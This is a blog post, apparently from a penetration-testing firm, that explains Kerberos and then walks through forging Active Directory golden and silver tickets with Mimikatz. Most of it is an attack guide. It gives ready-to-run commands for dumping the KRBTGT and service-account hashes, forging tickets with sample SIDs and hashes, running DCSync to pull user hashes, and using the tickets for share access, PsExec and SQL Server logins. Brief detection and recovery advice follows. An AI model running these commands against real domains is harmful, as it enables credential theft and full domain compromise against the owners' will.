How Kerberos Works
Kerberos
is a client-server authentication protocol used by Windows Active Directory
that provides authentication to devices within the network.
Devices
which authenticate or request services from each other are called “principals”.
The central server involved is called the Key Distribution Centre (KDC).
The
KDC is made up of two services, the Authentication Server (AS) and the Ticket
Granting Service (TGS). In a Windows domain environment both the AS and TGS
services run on any writable domain controller.
The
authentication process of a principal requesting access to a service from
Active Directory is as follows:
1.The
client hashes the password for the user. This becomes the long term secret key
used between the client and the AS. The client then encrypts a timestamp using
this key and sends it to the AS. The AS will decrypt the timestamp, and if
successful, demonstrates that the client knows the password for a particular
user.
2.The
AS replies to the client with 2 pieces of information that is encrypted with a
key that only the TGS knows:
·
A
short-term encryption key to be used for future requests from the KDC,
encrypted with the client’s hash
·
The
Ticket Granting Ticket, TGT, which contains information regarding the user, the
domain, the time and group membership.
3.Once
the client has the TGT, the client constructs the request for the particular
principal using the session key from the TGT response. The client blindly
forwards the TGT along with its request to the TGS.
4.The
TGS decodes the TGT and the service request and if the request is approved,
sends a service ticket containing two parts back to the client:
·
Section
for the remote server – this section contains the user’s group membership, a
timestamp, session key for communications with the client. This section is
encrypted with the KDC’s key for the server.
·
Section
for the client - this section contains the session key for communication
between the client and the remote server. This section is encrypted with the
key from the AS reply from step 3.
5.
The client sends the server portion of the service ticket to the server along
with its request. The server will accept the service ticket without direct communication
with the KDC because the ticket is encrypted with the long term key used for
communication between the remote server and the KDC. This implies that the KDC
has approved the communication.
Figure 1:
Kerberos Authentication Process
Difference between golden
and silver tickets
A
golden ticket is a forged Ticket Granting Ticket (TGT) valid for gaining access
to any Kerberos service. A silver ticket is a forged Ticket Granting Service
(TGS) ticket, also called a service ticket. This means the Silver Ticket scope
is limited to whatever service is targeted on a specific server.
When
obtaining a silver ticket, the attacker does not need to authenticate the
account to the domain controller to obtain the forged TGS. This can be done
without creating network traffic and event logs to avoid detection.
The
forged TGS ticket can be created on behalf of any user account, even fictitious
accounts. This allows the access of the service account to be exploited without
risking detection that the account has been compromised, which may result in a
password reset.
Obtaining
and Utilizing a Golden Ticket.
The
following guide assumes that you have already compromised a domain controller
and obtained Domain admin level access to gain the KRBTGT user account hash.
All
exploitation is carried out using the “MimiKatz” application.
Pre-requisites for
obtaining a golden ticket.
To
generate a forged golden ticket the following information is required:
·
KRBTGT
user account NTLM password hash
·
Domain
name and Domain SID
To
obtain this information run MimiKatz on the domain controller you have
compromised and use the following commands:
Privilege::debug
Lsadump::lsa
/inject /name:krbtgt
This
should produce an output similar to the one shown below:
Figure
2: Domain
Information and KRGTGT User Hash
Using the
information gathered it should now be possible to generate a golden ticket.
Generating a golden
ticket.
Generation
of a golden ticket is also performed from within the MimiKatz application,
although this can be from any machine connected to the domain and only requires
Mimikatz to be run by a user authenticated to the domain.
To generate
the ticket run MimiKatz and enter the following command using the information gathered
previously:
kerberos::golden
/domain:test.secquest.local /sid:S-1-5-21-4225273560-389763747-2992608048
/rc4:917e17754eee0ed522dca91bfc9491f9 /user:Kerberoasted /id:500 /ptt
This should produce an
output similar to the one shown below:
Figure 3: Golden Ticket Generated
Utilising the golden ticket.
By
specifying the /ptt (Pass
the Ticket) switch in
the command syntax the generated golden ticket is injected into the current
session allowing you to perform actions under the context of that ticket.
An example
of this is the ability to query the domain for user information, including
hashes by using the following command:
Lsadump::dcsync
/user:jezza /domain:test.secquest.local
This is demonstrated in the screenshot
below:
Figure 4:
User Hashes Obtained from Domain Query
This
information could then be utilised in separate Pass-the-hash attacks later on
(until the relevant user updates their password)
It is also possible
to utilise the ticket outside of MimiKatz as well, using a command prompt
opened from the MimiKatz session.
To open a command prompt
under the context of the ticket run the following command:
Misc:cmd
This is demonstrated in the screenshot
below:
Figure 5: Command session running with golden ticket
From this
command prompt you should be able to connect to a domain controller utilizing
the golden ticket and gain access to the file system. In the example below the pushd command has been used to connect to
the c$ share:
Figure 6:
Drive Mapped to Administrative Share on DC
Alternatively
you could utilise the PSExec utility to open a remote command prompt to a
domain controller as shown in the screenshot below:
Figure 7:
Remote Command Prompt to DC
Note the results
of a whoami command
show the session being run in the context of the user specified when the golden
ticket was generated.
Obtaining
and Utilizing a Silver Ticket.
The
following guide assumes that you have already compromised the target server and
obtain administrator level access to gain the targeted service password hash.
All
exploitation is carried out using the “MimiKatz” application.
Pre-requisites for
obtaining a silver ticket.
To
generate a forged silver ticket the following information is required:
·
The
targeted service account password hash or the computer account password hash
for services running under localsystem.
·
Domain
name and Domain SID
·
The
FQDN of the target server
·
The
targeted service name
To
obtain this information run MimiKatz on the target host you have compromised
and use the following commands:
For
a computer account password hash:
Privilege::debug
Sekurlsa::logonpasswords
This should produce an output similar to
the one shown below:
Figure 8: Domain
Information and KRGTGT User Hash
For a service account password hash
and domain SID:
Privilege::debug
Lsadump::lsa
/inject /name:(service account name)
This should produce an output similar to
the one shown below:
Figure 9:
Domain Information and Service Account User Hash
Using the
information gathered it should now be possible to generate a silver ticket.
Generating a silver ticket.
To generate
the ticket run MimiKatz and enter the following command using the information
gathered previously:
kerberos::golden /admin:(any
username) /domain:(Domain name)/sid:(Domain SID) /target:(FQDN of target
server) /rc4:(Computer or service account hash) /service:(targeted service)
/ptt
* both golden and silver
tickets require the “golden” syntax to be used in the command within MimiKatz
This should produce an
output similar to the one shown below:
Utilising the silver
ticket.
As
a silver ticket is generated against a specific service account, the attack
needs to be tailored to exploit that service. The table below details some
common administrative functions and the service(s) that run under the computer
account, that tickets need to be obtained for in order to exploit them.
Service Type
|
Service name
|
WMI
|
HOST
RPCSS |
PowerShell Remoting
|
HOST
HTTP
Depending on OS version may also
need:
WSMAN RPCSS |
WinRM
|
HOST
HTTP |
Scheduled Tasks
|
HOST
|
Windows File Share (CIFS)
|
CIFS
|
LDAP operations including Mimikatz
DCSync
|
LDAP
|
Windows Remote Server
Administration Tools
|
RPCSS
LDAP CIFS |
The example
below details how an attack is carried out against the Windows file share
service (CIFS).
Firstly,
the ticket for the service needs to be generated, which is achieved with the
following command:
kerberos::golden
/admin:silversurfer /domain:test.secquest.local
/sid:S-1-5-21-4225273560-389763747-2992608048 /target:diane.test.secquest.local
/rc4:53cbdf27d63d8c955b66a02526f872e6 /service:CIFS /ptt
which
should give an output like the one in the image below:
Figure 11:
CIFS Service Silver Ticket Generated
With
the ticket now generated it should be possible to map a drive to the target
host (for example c$) and connect to it without any request for authentication
as shown in the image below:
Figure 12:
Drive Mapped to Target Host
Silver
tickets are not just limited to default administrative services on the box;
they can also be used to gain access to additional services installed on the
host. The following example shows the compromise of a host running Microsoft
SQL server.
First
a ticket is generated for the SQL service (MSSQLSvc) using the following
command:
kerberos::golden
/admin:silversurfer /domain:test.secquest.local
/sid:S-1-5-21-4225273560-389763747-2992608048
/target:diane.test.secquest.local:49180 /rc4:53cbdf27d63d8c955b66a02526f872e6
/service:MSSQLSvc /ptt
Which
should give an output like the one in the image below:
Figure 13:
SQL Service Silver Ticket Created
With
the ticket generated we can now connect to the host, in this case using the sqlcmd
executable and issue commands to the server. You can see in the image below
that we are connected as administrator and able to list all the databases
within the SQL instance:
Figure 14:
Successfully Connected to SQL Service
Detecting Forged Tickets
The best chance of
detecting forged tickets is to monitor Windows security events on workstations,
servers, and Domain Controllers for logon/logoff events with anomalies in the domain field including the
field being blank or null.
Recovering from golden
ticket exploitation
The
only way to secure a domain following a golden ticket attack is to change the
password of the KRBTGT service on the domain controller. Microsoft has released
a PowerShell script that enables you to reset the password*, replicate the new
password to all DC’s in the domain and then validate that the replication has
completed successfully.
This
PowerShell script can be downloaded from the link below:
*
It is recommended that this action is performed twice as the password history
of the krbtgt account is two. By resetting the password twice, you effectively
clear any old passwords from the history, so there is no way another DC will
replicate with this DC by using an old password.
Recovering from silver
ticket exploitation
As with
golden tickets, the only way to secure a compromised host/service is to change
the password of the computer account/service user account.
To reset a
computer account the following steps need to be taken:
·
Remove
the compromised host from the domain
·
Remove
the relevant computer object from Active Directory
·
Re-join
the host to the domain
For
specific service user accounts, it is best to contact the vendor of the
software to gain the correct procedure to follow to perform a password reset.
No comments:
Post a Comment